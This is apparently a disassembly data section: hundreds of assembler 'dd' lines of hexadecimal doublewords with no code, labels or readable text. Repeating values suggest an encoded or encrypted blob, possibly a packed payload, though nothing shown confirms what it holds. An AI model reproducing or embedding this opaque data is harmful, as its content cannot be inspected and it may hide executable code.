		dd 75B11F3Bh, 0BAB126BFh, 28C6B556h, 6570AB2Ah,	7A9E41D1h
		dd 548E790Eh, 9E57A85Fh, 0E6313D2Bh, 7AB13256h,	0BAB134DAh
		dd 5D343D56h, 0AEB13256h, 5B3F3D56h, 42B13256h,	0D5B13251h
		dd 0FDED2292h, 7576CBC1h, 0BAB1CE56h, 82305436h, 17D776F1h
		dd 57D07BB4h, 0BF3D3D56h, 3CB13256h, 0EAB13259h, 911D1208h
		dd 863E4B58h, 0A2E43646h, 0AE347F19h, 4658CA56h, 7DB13256h
		dd 70A2EAEAh, 8D9AA9A5h, 85BF0F89h, 3EB05099h, 54583256h
		dd 0FB13256h, 9B99C132h, 2A6DCB5h, 0D9583256h, 0A5B13256h
		dd 0D0DCE963h, 0EAFC82BBh, 5D32CEE0h, 0AEB1CB56h, 57B139BFh
		dd 0D5D9D656h, 0E1D86834h, 12FC5ABFh, 70583256h, 44B13256h
		dd 94F1878Eh, 0A6583256h, 10B13256h, 0BAE76AB4h, 0D583ECF8h
		dd 6AE75256h, 0FEEAD08Ch, 0BAB153AFh, 5DB13EBFh, 9ADBDF56h
		dd 4A059E46h, 49BEA44Fh, 0D5B1CB46h, 0EAA1DA36h, 9CDF3256h
		dd 2D1EBC4h, 2A67ABBDh,	4D525DACh, 944FBE1h, 0CEC4C1D7h
		dd 0D5D05A02h, 0EF585256h, 73B13256h, 0DFB327CEh, 5DB13FBFh
		dd 0BD469C56h, 1F8B162Ch, 7E1B1EEh, 0D5D086A2h,	0EAB6DB56h
		dd 5683256h, 0B0C98828h, 3DB13220h, 0AEB121BFh,	2BD06556h
		dd 0A2C55213h, 36732627h, 1F64F192h, 25A13AF5h,	0BAB13DBFh
		dd 3AA61E56h, 0F960E6DDh, 5604C98Ch, 731EF343h,	0DAB13237h
		dd 0EAB120D3h, 75BCDB56h, 2E703256h, 92DF1B7Ah,	4295E626h
		dd 57CF0405h, 0ABB9DB56h, 47DE3256h, 622A4079h,	7358D2FDh
		dd 2B13256h, 905D0C24h,	0A1B132D3h, 57B111D9h, 0A6595256h
		dd 4AB13256h, 33E4A4F9h, 30E1C37h, 1B7B35FCh, 5DB8DB0Dh
		dd 83FD3256h, 0F935FBF1h, 0CAE09E8Dh, 0C7583256h, 43B13256h
		dd 0BBF37D38h, 904BAA43h, 7BB45872h, 937A5581h,	0AFB13294h
		dd 0AB443256h, 0D5B9DB56h, 0F2293256h, 6181B2E3h, 0BAB19F65h
		dd 5DB138BFh, 4542C756h, 0D5B5555Ch, 0ABD3BA5Ah, 0D5B1CA56h
		dd 0EAB0BE59h, 8D4D3256h, 31D13256h, 0BF3054ADh, 0AED07BD4h
		dd 57B1C756h, 0ABD0CE36h, 0D5B1CB56h, 0EABFDB36h, 32FE3256h
		dd 8DA4F528h, 11B068DCh, 2118EE2Eh, 57B121BFh, 5AC75656h
		dd 7EF36803h, 0FE3C9644h, 434ADFE8h, 0DECD78E0h, 0A4B13237h
		dd 0A1D13256h, 57B130D1h, 534FB956h, 0B5D15237h, 0EA303D37h
		dd 14B13256h, 0BAB3B359h, 3CD13256h, 0CEB13237h, 8F063D36h
		dd 0ABB1BC59h, 64D03256h, 61BE5319h, 75B13258h,	0BAB13BBFh
		dd 0E993EB56h, 0B139ADADh, 57B11738h, 24BEC736h, 0D5B13256h
		dd 12B13237h, 0FFBE3256h, 0BAB13257h, 52B132A3h, 0AEB120D3h
		dd 57BCDB56h, 23D53256h, 0F65A587Ch, 0C8D78366h, 75301C9Dh
		dd 0BABFDB56h, 0AF4A3256h, 1DBA91E8h, 0B8DDF89Eh, 0D1C938A4h
		dd 3DD13256h, 0EAB13245h, 9A9BF56Bh, 0E3D098D6h, 0F170F20Dh
		dd 6F3E06C1h, 31B77437h, 1173DBD7h, 0B46BB80Ch,	0EAB137BFh
		dd 1C2CDF56h, 0BAB13003h, 5DB139BFh, 3BB48156h,	3F801F68h
		dd 37B4BA73h, 5FBE3256h, 0EAB13251h, 75B0B859h,	0BA483256h
		dd 97305256h, 8ED5C653h, 364F8D59h, 0AB493256h,	0C33A3D56h
		dd 0E5B13256h, 75B122D7h, 0BABADB56h, 77E93256h, 0CA1384Ch
		dd 1718C5C2h, 0AD323D6Bh, 0B5B13256h, 98528A30h, 7AB13237h
		dd 0BAB133DFh, 5DB1CE56h, 47B132AAh, 57B13258h,	129ECDA3h
		dd 29386580h, 0B998094Ah, 75B1750Bh, 53B132AAh,	5DB13242h
		dd 0D644B72h, 1FF11CFEh, 4CC68BE8h, 5E5B970Eh, 0D2546C5Fh
		dd 15D13256h, 33CD2D7h,	8C304106h, 8335CD46h, 57B15337h
		dd 0ABA2BC59h, 0DB583256h, 0AB13256h, 0AD7953BDh, 0A940BE19h
		dd 7665C7DAh, 0BC3A3D78h, 0BEB13256h, 0ABB1325Bh, 72D36BFh
		dd 4C3F8F03h, 0DF41B14Eh, 0B5B132E7h, 5DB13FDDh, 0AEB9DB56h
		dd 80D93256h, 8A267D3Fh, 0D5B18B8Dh, 3042B336h,	15D4B9B8h
		dd 7240B3AAh, 3CB86BD1h, 0AEB1CE37h, 813A5436h,	2F4E73EDh
		dd 58BE5318h, 0EAB13257h, 7AB132AAh, 0BAB13ADFh, 0DCD75256h
		dd 56DB1480h, 37B13237h, 0F3D05207h, 0D5B2B959h, 55BE3256h
		dd 75B15397h, 0BAA7B259h, 4C583256h, 0B6B13256h, 0B0B407CFh
		dd 4240D020h, 95BEEF5h,	0E76153F5h, 8CD13256h, 5AEC8C30h
		dd 3DB13237h, 79418C30h, 57B3BA59h, 0F0E33256h,	29B13237h
		dd 65BE3256h, 75B1325Ch, 0B5708736h, 5DB132D4h,	0AEB15356h
		dd 37B132A3h, 20D77AE5h, 0D5B153A1h, 0EAB3B459h, 14D13256h
		dd 38BE3256h, 5DB1325Bh, 0AEB13ABFh, 0FBD43756h, 120C7CEDh
		dd 2CB13262h, 0ED583256h, 0F0B13256h, 622E3989h, 5258054Ah
		dd 74B13256h, 93015C66h, 0FA9A2FE8h, 3AF64464h,	0EAB17871h
		dd 75B0BC59h, 0BA4D3256h, 5DB1CB56h, 0CEB132AAh, 3743B2AFh
		dd 0A4B13237h, 0D5B13ED9h, 30305256h, 79182A77h, 0C3D28830h
		dd 3DB13237h, 0AEA1DB00h, 0EE813256h, 8E3E6AB7h, 0DE372553h
		dd 0F49977A2h, 0FEEA5889h, 0BAB15381h, 5DB120BFh, 649C3356h
		dd 1B7B9A09h, 34D2332Dh, 0DFDA9BF6h, 0EAB207B1h, 633B3D56h
		dd 0DAB13256h, 5DB13EBFh, 36F03556h, 98854D0h, 1C04CBC3h
		dd 22063D2Dh, 0EAB1CB37h, 75A0DB36h, 5F633256h,	14A18532h
		dd 0A0546EC8h, 0F052E1FEh, 0CA96B5B9h, 0C5583256h, 75B13256h
		dd 0B5BA604Eh, 1DB830C7h, 0FC214433h, 0AE16687Eh, 8F3B5256h
		dd 0ABB1CA37h, 0D5ACBA59h, 6DBE3256h, 75B13241h, 0BAB120BFh
		dd 21A29356h, 37350049h, 8B6F422Fh, 74FFFF81h, 0D529F60Ch
		dd 0EAB1C756h, 75BEBE59h, 0B0583256h, 2CB13256h, 0B109564Eh
		dd 0CD5A9108h, 0A4B13246h, 0D5B135DDh, 27315256h, 148380F0h
		dd 0EBD13256h, 52EFF1DDh, 0AED0FBE1h, 57B1CB56h, 0ABB126BFh
		dd 0FCB34356h, 0D9BC46C2h, 2E08B8E2h, 2835CFB6h, 0F42826F0h
		dd 0CEB132F4h, 6378B330h, 0CA72B974h, 0DAD13256h, 0EAB131D2h
		dd 8C0E3D56h, 0DBD8C5D6h
		dd 5DB9BB59h, 2DBE3256h, 57B13254h, 0ABB15336h,	0D5B6B259h
		dd 64BE3256h, 75B13257h, 53B132A3h, 5DB1325Dh, 6C4DD50Dh
		dd 0A584C6EDh, 0AB06477Eh, 0B00F5256h, 52B7134Ch, 266AF6EFh
		dd 0A9363D37h, 0B4B13256h, 0AEB13258h, 50E7B45Eh, 0B10385F0h
		dd 5BD8B654h, 0EAB1BF0Ch, 0CF71B236h, 0E4EF6201h, 0A1B13237h
		dd 0C8D13256h, 37D0FCDDh, 60063DA3h, 20B13237h,	0EAB6BE59h
		dd 0FCBE3256h, 0BAB13257h, 52B132AAh, 0AEB134D5h, 863A5256h
		dd 0ABD0F9DDh, 5E495256h, 67BE5389h, 75B13246h,	0BAB139BFh
		dd 0E6E6FA56h, 0C08A395Dh, 6590AE1Fh, 0AB4D3256h, 0D5B7DB56h
		dd 0B2C53256h, 0CC61BFFEh, 0BA483256h, 5DB1C756h, 0AEB123BFh
		dd 0AEAD2856h, 26C96118h, 0A99265F6h, 33012BD9h, 75B1EE20h
		dd 0BAB135BFh, 5B860356h, 0FB4622B3h, 52583256h, 0B4B13256h
		dd 437BF820h, 0E5B132AFh, 75B12AD8h, 0BAA2DB56h, 49843256h
		dd 0BBCAB270h, 4B022DD5h, 29F44416h, 0FD3710D5h, 3B1321Fh
		dd 75B1325Dh, 80E68355h, 2D9299EFh, 0AE53558Eh,	5B333D56h
		dd 42B13256h, 0D5B13251h, 0CDA32657h, 7599A721h, 0BAA0DB56h
		dd 4E353256h, 26D32687h, 666187BEh, 0BCF81983h,	0D5A496CCh
		dd 0EAB8DB56h, 342F3256h, 9400BA07h, 3D46A9D9h,	0C746B330h
		dd 563B3D18h, 5EB13256h, 0DAB13237h, 0EAB122D6h, 75BADB56h
		dd 16003256h, 0EC243431h, 0B8EE6A07h, 37B13261h, 2B6FEDD6h
		dd 0D5D01F9Dh, 0EAB9DB56h, 0FFF33256h, 5C0DB631h, 5DB1C4A3h
		dd 51A28936h, 5E593052h, 0A9B13256h, 0A163E798h, 8E08BF65h
		dd 2D6BB930h, 0DAB13237h, 42174FE8h, 19BE6359h,	58D0689Fh
		dd 0ABB13EDCh, 0D3303D56h, 0E5B13256h, 75B132D5h, 53B13256h
		dd 5DB13253h, 5D1A5B0Dh, 0AEB13297h, 0CBB132A3h, 0B5EACA00h
		dd 55698559h, 6D9D9C56h, 0BAB15337h, 0D57CB236h, 0AEB153AAh
		dd 57B120BFh, 9EDFF56h,	0E95B8E3Eh, 2C992F6Bh, 0C1DB5F48h
		dd 0BAD8F975h, 59333D56h, 0CEB13256h, 57D0CDE2h, 0A0585256h
		dd 0D7B13256h, 62A1221Eh, 4D679250h, 0E8E00409h, 5DD06D0Eh
		dd 0AEB1CA56h, 0F861B336h, 5EE2E179h, 29B13237h, 0EABCDB36h
		dd 0D4EA3256h, 7A40A9D7h, 1158D251h, 46ECB876h,	57B13256h
		dd 5E5BB30Ch, 0DAB728C7h, 0EAB13AD8h, 77373D56h, 0DAB13256h
		dd 5DA5DB37h, 0D7643256h, 0C4EC7512h, 3DE4B78h,	0B8A8F0ECh
		dd 5F57CEBDh, 0F03C1CD8h, 0BCA8BC8Ah, 0FE33BBAEh, 0A1B7282Fh
		dd 57B126D3h, 0ABBEDB56h, 74ED3256h, 1C8106Ah, 9CDFA9DEh
		dd 2D1EBC4h, 0E333BFBDh, 0A1B72931h, 57B133DFh,	2938C756h
		dd 0D3AB4B93h, 55D7C736h, 9DD0B2F2h, 0BAB10148h, 5FDFDAAAh
		dd 47483256h, 57B1325Dh, 0E586BB06h, 5FB70097h,	2DEAA015h
		dd 6FC817D4h, 0BAB13250h, 5DB4DB56h, 89F73256h,	56573FDh
		dd 0ABB137BFh, 536FE856h, 6F77CD8Ah, 73A5280Fh,	0E8D9C700h
		dd 0A82D9AEEh, 0B46087A9h, 52583442h, 0D6B13256h, 9CB28C04h
		dd 2D305436h, 0F1BEB37Fh, 0BAB13243h, 5DB122BFh, 87A92E56h
		dd 1F1FC1F4h, 71847EFAh, 74E90107h, 6F3C5336h, 73A6B28Dh
		dd 0BAA2B359h, 0DCBE3256h, 0AEB1325Bh, 57B13ABFh, 8A0B6356h
		dd 0E6D78236h, 361CD31h, 75B1325Eh, 0B4BCA373h,	3FB33256h
		dd 0B2E4B7DFh, 0DABE3442h, 0ABB13257h, 0B5B558AEh, 253A54AEh
		dd 72585237h, 36B13256h, 0AD1784ACh, 2CBE2AC1h,	57B13254h
		dd 0C3D0E4DDh, 0D5B12256h, 0E7F15AA3h, 13D13255h, 144D1E9h
		dd 48054D15h, 57B15837h, 0DCBEE2A9h, 0ABB13242h, 0D5BBDB36h
		dd 0BC213256h, 0AB926B4Fh, 0DF9E29BBh, 3C7E8559h, 0AF323D0Ch
		dd 0AFB13256h, 2FBEF25Dh, 0D5B13372h, 0EAB0B059h, 0FC443256h
		dd 0A0C817D4h, 56333D50h, 0CEB13256h, 0E247B330h, 490A54BCh
		dd 57385328h, 0ECAB4B02h, 75B137BFh, 2B7FB456h,	4D58A1B6h
		dd 6EB13256h, 2601D3B7h, 16EE37CBh, 1C4B3316h, 5346E627h
		dd 75B23F16h, 0BC343D36h, 52B13256h, 0AEB132DAh, 57BFDB56h
		dd 981A3256h, 62297ACCh, 0E1C8B32h, 859975FFh, 0AF353D37h
		dd 3DB13256h, 0AEB13EBFh, 9B326656h, 1A483B3Ah,	0DC8BF51Bh
		dd 8BD052D9h, 7258CADDh, 0EEB13256h, 0D67C70CAh, 6E8269ACh
		dd 57BDDBAFh, 743256h, 6D9050F9h, 71B777E4h, 0DF4284AAh
		dd 0DA4D60AAh, 3B49B930h, 0CF170BEEh, 3F48363Ch, 0ABB12256h
		dd 0D5BCBA59h, 3D13256h, 75B13250h, 6219EFB5h, 0B4D09BF9h
		dd 0AEB1325Ah, 794C80D6h, 45AB6415h, 45E537Eh, 0EAB5323Eh
		dd 75DBCB56h, 0F656B236h, 76CEE0D7h, 0CED01641h, 0BE698D59h
		dd 0ABB1325Eh, 0D410E97Fh, 0EA1CAF1Fh, 2023CD37h, 53B7264Ah
		dd 5DB1325Dh, 7970DF0Ah, 0EAE1284Eh, 0F170ED4Dh, 2F33BBA3h
		dd 1FB7282Dh, 75B8DB37h, 5D473256h, 37EB1F47h, 259A97ADh
		dd 4DC817D3h, 6C315250h, 0D5BEDBDFh, 0B32B3256h, 9C19578h
		dd 0C7803A9Ch, 1ADBD0Fh, 0A1725335h, 57B135D2h,	0AA313D56h
		dd 2DB13256h, 6876CA36h, 73A532DBh, 0BAF13256h,	9033F5AFh
		dd 0AEB7265Dh, 0BEB13246h, 0ABB13247h, 0E310E47Dh, 0F54BB51Ah
		dd 9BEB1BF6h, 0EBDEEA3Eh, 9E4853D8h, 0A1D152AFh, 57B131DCh
		dd 62063D56h, 0C12684EEh, 503A5320h, 73AB4B73h,	0BAB0BD59h
		dd 0DE493256h, 2ABE3269h, 57B132B6h, 0ABB123BFh, 0EF44E056h
		dd 636DEA09h, 0E6D5738Dh, 20F16291h, 2232A631h,	2ABE3046h
		dd 57B13226h, 0ABB123BFh, 59000456h, 73E29765h,	0A4901FB8h
		dd 651EACCCh, 223217A3h, 2ABE3646h, 57B1322Dh, 0AE3A3D36h
		dd 0B3B13256h, 40C5E8D7h, 0C4FC8830h, 0BAB4DB37h, 8F143256h
		dd 2DCD7FF2h, 45582691h, 70B13256h, 694353E3h, 0DCBD2282h
		dd 0E87D10D7h, 0EF093864h, 0A2CCDB1Dh, 21BECDA9h, 57B13246h
		dd 0ABB139BFh, 39E3F956h, 0FD7B67B7h, 9806A5B3h, 0BBA17591h
		dd 52B13256h, 0AEB12ADFh, 0D6D75256h, 43FD7384h, 0D5B1325Dh
		dd 0B26B9070h, 8291FD48h, 0E21A85B3h, 0A210DB37h, 6948CDA9h
		dd 57B22211h, 21BE3256h, 0D5B1325Eh, 0EAB3B359h, 14D13256h
		dd 454EB4BFh, 5DB7DBA9h, 2B3256h, 0DD6F2C7h, 0ABBFDB37h
		dd 0B7E33256h, 6D99D6F0h, 8F1F8750h, 9FF2A136h,	0EABE5295h
		dd 464D5286h, 57B1325Ch, 3B85D8D2h, 5F2505C9h, 8BEA25CFh
		dd 64586737h, 84B13256h, 44AF2870h, 9EF0DD47h, 804F4B39h
		dd 18F21379h, 0B549DEDDh, 0EAB0B459h, 9D483256h, 0BAB13256h
		dd 345BB30Ch, 5BB728C0h, 0DABE5236h, 0ABB13256h, 0B4778D59h
		dd 3D0FEDCh, 75B13246h,	12600D0Bh, 7F6C96Ah, 30350B4Ah
		dd 0BF0A1447h, 0D7A380DDh, 55D1344Ch, 5AE726BFh, 8CD069FFh
		dd 53B977DDh, 5DB13251h, 0D64B6435h, 0BE2C0E9Ch, 0ABB13253h
		dd 7916387Dh, 3B7BB2Bh,	75B1325Ah, 0FCBF29D0h, 974D9D33h
		dd 5645F2DEh, 2BA3B0D5h, 57B5344Ch, 0D4303D37h,	16B13256h
		dd 7173CE9Fh, 0BABADB56h, 0FAE73256h, 311C10FEh, 0CCBDD15Ch
		dd 434852C4h, 0D5B13256h, 175BB30Ch, 89B728C0h,	4003B9AEh
		dd 3DB7282Dh, 834EF4D7h, 1A0E1865h, 0CABE391Dh,	0A9A3806Dh
		dd 6EBE344Ch, 75B13329h, 0BAB0B359h, 0D6483256h, 0BB353D68h
		dd 0BEB13256h, 0ABB13246h, 0C1DC4AE5h, 28A4EA88h, 0F280004Ch
		dd 9B43969Fh, 5249EDDDh, 5BB07DE0h, 57B0B659h, 5D4D3256h
		dd 0DA313311h, 0EAB174D3h, 75BCDB56h, 0F18D3256h, 3A91ADB5h
		dd 4AEBCDACh, 0AE0E1AFAh, 4248EB55h, 0D5B1321Eh, 0D05AB236h
		dd 75B120BFh, 51D48856h
		dd 0C0328162h, 754056F9h, 77B8D7BFh, 0CAFE6AF7h, 0D5B138BFh
		dd 0E5A7D556h, 1A4FF334h, 91F0F871h, 48313D8Fh,	47B13256h
		dd 57B13246h, 27B2E11Eh, 717B4213h, 9F56F893h, 0A78F323Ah
		dd 0DAF2C715h, 5DA0B759h, 0A2583256h, 31B13256h, 558DCF5Eh
		dd 8B6B12EAh, 5470FF26h, 4A25F80Bh, 4F34B937h, 52B72652h
		dd 0AEB12BD2h, 57A5DB56h, 8EDF3256h, 1346D9A8h,	802640A5h
		dd 0F6773560h, 0ACDB4590h, 0D03A3B42h, 0A8A521F7h, 0D1BE6236h
		dd 0ABB13256h, 50BE5308h, 0EAB13251h, 75B0B759h, 81443256h
		dd 68333D8Eh, 5BB13256h, 0D0BEEB6Dh, 0ABB1327Ah, 0D177B1A3h
		dd 5DBE5236h, 141E82A9h, 31BE53AEh, 5DB13250h, 0D3095436h
		dd 965853F4h, 0A44ECDA8h, 0D5B135D7h, 0EB3A3D56h, 80B13256h
		dd 3EBEFD6Dh, 5DB13261h, 0AEBBBB59h, 52583256h,	29B13256h
		dd 0C14DF326h, 0F9108FDFh, 0F9BE3442h, 0BAB13243h, 5DB9DB36h
		dd 66783256h, 0F30EDE66h, 29BE61CEh, 0D5B13256h, 14D2DB37h
		dd 144DCDA9h, 0BAB137BFh, 2EB0D956h, 0CE72F237h, 57B3BA59h
		dd 673B3256h, 0D5B13ABFh, 1569AA56h, 4EDEF0BEh,	0B4585324h
		dd 0A5B13256h, 0AE5BAA73h, 0FA30499Ah, 9D1FCBEAh, 0B54952F5h
		dd 2CC9D2D7h, 0A23B7D6Fh, 0BAB1DA37h, 0DCEB3256h, 0B429D9BCh
		dd 42313D50h, 0A4B13256h, 0D5B13DDDh, 0EABBDB56h, 20173256h
		dd 6390977Fh, 1CDF3183h, 0AEB126BFh, 9D5F7E56h,	1CFFE704h
		dd 0B626439Ch, 72BFA783h, 0E30072DBh, 0B7363DE1h, 3DB13256h
		dd 8206F5ECh, 57323D53h, 0CAB13256h, 2F0BB9A3h,	3B7282Dh
		dd 75B13259h, 35356A76h, 135705C7h, 7ECBA514h, 3718445Ah
		dd 740A5436h, 4D59B389h, 8BFE8DAEh, 75B0B059h, 0DB483256h
		dd 5DB032EFh, 0AEA0DB56h, 66283256h, 2B84E06Ah,	0C367F4E6h
		dd 7C73CB7Eh, 8DBEBD14h, 3ABEF265h, 5DB13247h, 703A5436h
		dd 57B135BFh, 0DEC8B656h, 53947498h, 31AC137h, 75B13245h
		dd 9905583Bh, 0F98A5B9Dh, 71C20542h, 0D7D163BFh, 20B552A3h
		dd 0CFCAC8D4h, 52D75250h, 9C3165D8h, 383853D2h,	5BAB4E44h
		dd 0F30F5436h, 543F3DACh, 2BB13256h, 29D0DEA0h,	5DBE5237h
		dd 0B5305499h, 79D0BCFCh, 5DB8DB36h, 0BD023256h, 550F7140h
		dd 43591C96h, 0D5B1325Dh, 0A9256CC0h, 0A492A8E2h, 0B56044D2h
		dd 3CEEC2E9h, 16035236h, 57B1DA37h, 2AEB3256h, 0CF2B25BCh
		dd 0E5E35250h, 75B132DDh, 0B5596856h, 0F9B13256h, 0BA7C2733h
		dd 49AA4428h, 0EE2C037Eh, 63A23F1h, 61BE530Eh, 75B1325Ah
		dd 0BAB7BC59h, 0DEBE3256h, 0AEB13256h, 4DE8B790h, 0CBE73442h
		dd 877B8559h, 5263C0D7h, 14EF22C5h, 0BAB0BD59h,	35483256h
		dd 7AAE5F6Fh, 55363D36h, 20B13256h, 0B44E8699h,	0F06087A9h
		dd 0F4D13442h, 5E8F8397h, 0BF30545Eh, 47D01F01h, 57B13253h
		dd 0B1192F6h, 0E34BFF6h, 3B725D6h, 75B1325Bh, 64F4882Bh
		dd 0ED05649h, 520EC603h, 874ECB2Ch, 0ABB13CBFh,	87C6656h
		dd 0E4574534h, 78DE33Dh, 0E8E9EB0Ch, 0D3BE62A3h, 0AEB1325Eh
		dd 57B3B059h, 0CAD13256h, 0D531323Eh, 60D15256h, 0F20B5493h
		dd 0B5D15357h, 7E05E0E1h, 0AEDB5337h, 0E54EC7A3h, 0ADAB4B73h
		dd 0DB378D36h, 5DBE3D51h, 0A54E53A4h, 38BE6AAEh, 5DB13257h
		dd 23BE68AEh, 57B13251h, 713A5436h, 0BDD05336h,	0EAB1B256h
		dd 89B158AAh, 0C14B80A9h, 0DDBE344Ch, 0AEB13257h, 0BE61CDAAh
		dd 0ABB13242h, 2DF14C00h, 805F9EF4h, 2B3D74E1h,	0FECE49E4h
		dd 0D5CFFC2Bh, 413B5237h, 0E8D1F137h, 0F486D10Fh, 0A9C28B30h
		dd 6BBE6737h, 75B1325Eh, 0BAB3B859h, 3CD13256h,	0BA58DEDDh
		dd 0FAB13256h, 22A42B8Ch, 9279B494h, 0A8968557h, 0EEC7CCE0h
		dd 0DA36481Ah, 91095436h, 240A5431h, 575953E8h,	0F1B13256h
		dd 4E29D8D7h, 349344Ch,	75B13244h, 0AFDF7D9Ch, 0B904A66Eh
		dd 0F1A05B27h, 623E3BFh, 0DE3A0FEDh, 0D4333D5Eh, 1FB13256h
		dd 75BC9BBEh, 0B2353D56h, 52B13256h, 0AEB130D5h, 2D05256h
		dd 0ABB13CBFh, 1B301856h, 9B0DD7CCh, 0C06C6CA7h, 454F80E5h
		dd 47C891C4h, 0A1585250h, 0DEB13256h, 79F53CDFh, 0F952D81Bh
		dd 0ACBADA18h, 9CD067CEh, 0BAB1325Eh, 0C71DBCF5h, 519638FDh
		dd 563F3D0Bh, 52B13256h, 0C67BB236h, 0E6C40937h, 8A2BB759h
		dd 0B758CDA9h, 84B13256h, 9FF36AE8h, 47543461h,	0EAB167A1h
		dd 0D5BC03BEh, 6BD75256h, 0C7AA41B5h, 53D05349h, 5DB13253h
		dd 0B867F4E6h, 9548FB7Eh, 0FE44325Eh, 0D5BDB559h, 66BE3256h
		dd 75B13250h, 0BAB1B459h, 0B13A3256h, 0A858CA36h, 8BB13256h
		dd 23815646h, 11325370h, 0E0393DAAh, 15B13256h,	73306D04h
		dd 6A93D750h, 2DBE6437h, 57B13242h, 0ABB13DBFh,	97B6C056h
		dd 0FF45E900h, 42DD4010h, 8DE7040Dh, 52E2C701h,	0AEB135DAh
		dd 563E3D56h, 5EB13256h, 0D5B132BEh, 306856h, 73ABAEE8h
		dd 0BAB137BFh, 0E6B40356h, 0CE44A797h, 57B2BA59h, 20D73256h
		dd 0B46BB9A7h, 0E5B947DDh, 75B134D2h, 0B5485256h, 0D6D0F0E1h
		dd 0BF58222Bh, 7BB13256h, 3A7B6517h, 0F6D89132h, 2888AF8h
		dd 6AF5231Ah, 0BABBDB01h, 0ABE33256h, 436A8723h, 0B4B0C9C0h
		dd 0BB595200h, 0D1B13256h, 2CF9CAE0h, 0DD44EA68h, 67B56AF6h
		dd 0D6199CC5h, 19BE6BAFh, 2C5953A6h, 5EB13257h,	51BEF25Dh
		dd 0EAB132F2h, 75B0B159h, 31483256h, 5DB8DBAEh,	4CBA3256h
		dd 13F009E2h, 0FE8B4499h, 0D5B6B759h, 6CBE3256h, 75B13257h
		dd 1923CDAFh, 0A8B7282Fh, 0A4393D0Bh, 0BEB13256h, 0ABB13253h
		dd 536A4AF7h, 0E6C409A1h, 75EFB659h, 0B5D13256h, 5DB134D6h
		dd 555EB356h, 5893553Ah, 0ABB133D4h, 0B3D0CE56h, 6ABE2CDDh
		dd 75B13244h, 6D51B336h, 0B4EEABD8h, 0AEB13253h, 0BC04B7D6h
		dd 4C3153F2h, 1A0752A6h, 8B7DD7D6h, 8CD12CDCh, 0DB48CA36h
		dd 0BE31CB37h, 0AF3E3DA6h, 0AEB13256h, 0AB95F0BEh, 3E3B5256h
		dd 0CB5853AEh, 804ECDA9h, 4F4D4FDFh, 0A24612BEh, 0A53D3DA9h
		dd 37B13256h, 0A461B930h, 0D5B132D9h, 6CBE5356h, 75B1325Ah
		dd 0BAB135BFh, 609B7F56h, 643B75FDh, 57BFDB0Dh,	55293256h
		dd 0ACE674B6h, 56D02580h, 149EA57Bh, 3BD75209h,	3C9D98B9h
		dd 0AEA5DB08h, 0C0CC3256h, 2C9F4BE9h, 159150AAh, 0B669ED4Ah
		dd 0E7232A89h, 3148AC82h, 0B5D1CE13h, 0AEB13244h, 0F0C152Eh
		dd 50A0BF2Dh, 5242634Ch, 6675BCBDh, 7958E402h, 0AAB13256h
		dd 0B8EDAC1Fh, 4D629A58h, 0E36DDF1h, 0CA67B930h, 1F063D36h
		dd 0EAB2B659h, 80313256h, 5378539Eh, 5DB13246h,	8BE736ADh
		dd 3671600h, 68F33076h,	0B2573C2Dh, 8AB13E94h, 0E8EEC6EFh
		dd 0BAB6DB36h, 0FA963256h, 96C230F5h, 0AFE45304h, 2848DEDDh
		dd 8248CA92h, 0EAB0BA59h, 23443256h, 0BAB138BFh, 23920B56h
		dd 0CFF1EFDDh, 37F77041h, 2A0BD4D6h, 70C0C89h, 0E5E0536Ah
		dd 75B121D1h, 0BABFDB56h, 1B763256h, 7EE8A6CAh,	5C503843h
		dd 66E72EFFh, 0D5A0DB05h, 7F7C3256h, 0CFCCEA60h, 0DEAEEC13h
		dd 0A9E46137h, 69CBCEE9h, 57B1CA13h, 27BE3256h,	0D5B13257h
		dd 6876CBAEh, 73AB49F4h, 0BAB13257h, 5DA0BE59h,	0A2583256h
		dd 18B13256h, 5EB13B53h, 0E780E5B6h, 617AC0C0h,	7AD13A23h
		dd 0BAB131D2h, 0AD0E3D56h, 25E48D30h, 493A5437h, 8E0BB9AFh
		dd 29B7282Fh, 0E5B96DDDh, 75B129D0h, 0AF363D56h, 0B4B13256h
		dd 0AEB13246h, 8E1F2033h, 6E75BF02h, 435286FCh,	0BD6F3F37h
		dd 0F1BEE95Dh, 0BAB13231h
		dd 526F09AEh, 0AEB10ED3h, 0E1495256h, 0BF585300h, 8CB13256h
		dd 0FB94D10Fh, 0D6391115h, 0FEF3EF3Bh, 0CA567EC0h, 257B0EDFh
		dd 0DE443E0Bh, 0A4D13E09h, 0D5B138D1h, 0EAB4DB56h, 36A53256h
		dd 79F962h, 495B4E02h, 0BA76B137h, 57B6B959h, 27BE3256h
		dd 0D5B13257h, 15CBDBAAh, 13D1CDA9h, 0EED4FAD7h, 953A5237h
		dd 0C8D06A00h, 0D1BE2CDDh, 0ABB1324Ch, 0D5A5BD59h, 0E5583256h
		dd 5DB13256h, 968DD97Bh, 78FF81A7h, 0F98A8048h,	0AC31AA42h
		dd 0A1353DBEh, 0DAB13255h, 0EAB135D0h, 74333D56h, 43B13256h
		dd 5258C9D6h, 0AEB3C6D2h, 0E8BE5256h, 0B964B29Eh, 3E4AB237h
		dd 0E852B659h, 0F5483256h, 3EBED0ADh, 5DB1309Dh, 4D4AB2AEh
		dd 5511B659h, 27BE3256h, 0D5B1325Ah, 0EAB7B959h, 0F1BE3256h
		dd 0BAB13256h, 3A4AB330h, 0A353DB5h, 37B13254h,	0FC4BB930h
		dd 0B4EE6D04h, 1641D5D6h, 7A4AB330h, 20353DD6h,	52B13254h
		dd 0AEB133D1h, 0D749CB56h, 26BEC2B5h, 0D5B1325Ch, 0E5D05236h
		dd 75B132DEh, 41315356h, 2B353D26h, 57B13254h, 57B123BFh
		dd 0B1CFE256h, 0E8CB9050h, 6EE8022Dh, 9A64EFE8h, 31D79193h
		dd 5DBEDB48h, 5E853256h, 0AC49BD23h, 0F678CC45h, 780DD363h
		dd 1252B29Fh, 75B134BFh, 56805B56h, 0DDD4AD98h,	2ABE8AADh
		dd 57B13372h, 0ABB137BFh, 0AF809D56h, 0D43141FCh, 64353D53h
		dd 53B13257h, 5DB13251h, 4257B7C5h, 0D7FFBC43h,	2FBE1F68h
		dd 0D5B132AAh, 828FB2AFh, 7543B659h, 53D13256h,	5DB13245h
		dd 1DE3E256h, 0C859E0B7h, 568F5789h, 0BBCC9614h, 8B5F5E8Dh
		dd 0E13B0A9h, 33BE344Ch, 5DB1325Eh, 0AEB3BB59h,	36D13256h
		dd 0A4AFB930h, 0D5B133D0h, 0D31C756h, 290F52AEh, 0B5961039h
		dd 0A8D0C3E9h, 2F4AB330h, 0F6353DBEh, 0CBB13256h, 0D5B5BC59h
